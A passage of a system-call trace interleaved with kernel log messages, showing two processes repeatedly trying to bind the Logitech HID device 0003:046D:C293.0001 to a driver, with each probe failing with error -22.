[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.366399][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.377450][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.400601][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.423627][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.434456][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.467890][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.500261][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.521922][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.543263][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.557046][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.579928][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.593050][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.604757][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.618186][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.631841][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.635767][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.658198][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.669249][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.681790][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.693301][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.716400][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.749112][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.760464][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.784158][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.807178][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.841015][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.865611][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.887383][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.899021][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.910939][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.924884][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.959636][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.984626][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.019431][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.041219][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.084888][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.098445][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.121190][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
